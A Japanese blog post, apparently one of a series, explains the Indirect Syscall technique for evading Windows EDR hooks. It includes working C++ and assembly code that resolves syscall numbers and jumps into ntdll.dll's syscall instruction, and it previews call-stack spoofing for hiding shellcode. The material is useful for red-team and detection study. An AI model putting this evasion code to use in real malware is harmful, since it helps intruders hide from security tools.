Indirect Syscallとは?

2026/1/11

導入

前回の記事では、EDRのフックを回避するためにシステムコールを直接呼び出す「Direct Syscall」を紹介しました。しかし、記事の最後で触れた通り、現代の高度なEDRは「syscall 命令がどこから発行されたか」を監視しています。

正規のWindowsプログラムであれば、システムコールは必ず ntdll.dll のメモリ領域から発行されます。しかし、Direct Syscallでは攻撃者のコード(.exeの .text セクション)から発行されるため、RIP(命令ポインタ)をチェックされると「未知の領域からの呼び出し」として即座に検知されてしまいます。

この問題を解決し、よりステルス性を高めた手法が Indirect Syscall です。

仕組み

Indirect Syscallのアイデアは単純かつ強力です。 「自分のコードで syscall するのがバレるなら、ntdll.dll の中にある syscall 命令を借りてくればいい」という発想です。

具体的には、自分のアセンブリコード内で直接 syscall を書くのではなく、ntdll.dll 内に存在する syscall 命令のアドレスへ jmp(ジャンプ)します。

これにより、カーネルモードへ移行する瞬間のRIPは ntdll.dll の内部を指すことになり、EDRやセキュリティ製品からは「正規のDLLからシステムコールが呼ばれた」ように見せかける(偽装する)ことができます。

実装

C++コード (main.cpp)

前回のコードに、syscall 命令のアドレスを探すロジックを追加します。

#include <Windows.h>
#include <cstdio>
#include "syscalls.h"

// グローバル変数: SSNとジャンプ先アドレス
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;

int main(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    // 1. SSNの取得 (+4オフセット)
    // ※Hell's Gate等の対策が必要な点は前回同様です
    wNtAllocateVirtualMemory = ((BYTE*)(pNtAllocateVirtualMemory + 4))[0];

    // 2. 'syscall' 命令のアドレスを解決
    // 通常、ntdllの関数内では SSN設定(mov eax, ...) の直後に syscall(0F 05) があります。
    // +0x12 (18バイト目) 付近にあることが多いですが、ここでは簡易的に固定オフセットとしています。
    // 実戦ではバイト列探索(Egg Hunting)で "0F 05" を探すのが確実です。
    sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;

    printf("[*] SSN: 0x%02X\n", wNtAllocateVirtualMemory);
    printf("[*] Syscall Address: 0x%p\n", (void*)sysAddrNtAllocateVirtualMemory);

    PVOID allocAddr = NULL;
    SIZE_T size = 0x1000;

    NTSTATUS status = NtAllocateVirtualMemory(
        (HANDLE)-1, 
        (PVOID*)&allocAddr, 
        (ULONG_PTR)0,
        &size, 
        (ULONG)(MEM_COMMIT | MEM_RESERVE), 
        PAGE_READWRITE
    );

    printf("[+] Memory Allocated via Indirect Syscall at: 0x%p\n", allocAddr);

    return 0;
}

アセンブリコード (syscalls.asm)

ここがDirect Syscallとの最大の違いです。syscall 命令を書く代わりに、C++側で用意したアドレスへ jmp します。

section .text

default rel

extern wNtAllocateVirtualMemory
extern sysAddrNtAllocateVirtualMemory

global NtAllocateVirtualMemory
NtAllocateVirtualMemory:
    mov r10, rcx                               ; 引数退避
    mov eax, [wNtAllocateVirtualMemory]        ; SSNをセット
    jmp qword [sysAddrNtAllocateVirtualMemory] ; 自分で syscall せず、ntdll内の syscall 命令へ飛ぶ

解説

上記のコードが実行されると、CPUの制御フローは次のように動きます。

  1. 自分の .exe がレジスタ(SSN等)をセットする。
  2. ntdll.dllsyscall 命令へジャンプする。
  3. ntdll.dll のアドレス上でシステムコールが発行され、カーネルモードへ移行する。
  4. カーネル処理終了後、ntdll.dll 内の ret 命令で戻ってくる。

これにより、EDRが「システムコール発行時のRIP」をチェックしても、それは正規の ntdll.dll を指しているため、検知を回避できる可能性が飛躍的に高まります。

次なる課題

Indirect Syscallによって「入口」の偽装は完了しました。しかし、まだ完璧ではありません。 確保したメモリ領域内でシェルコードが動く際、そのスレッドの「リターンアドレス(スタック上の戻り先)」を検査されると、ntdll.dll などを経由していない異常なコールスタックが見えてしまいます。

これを解決し、コールスタックすらも偽造する技術が Call Stack Spoofing です。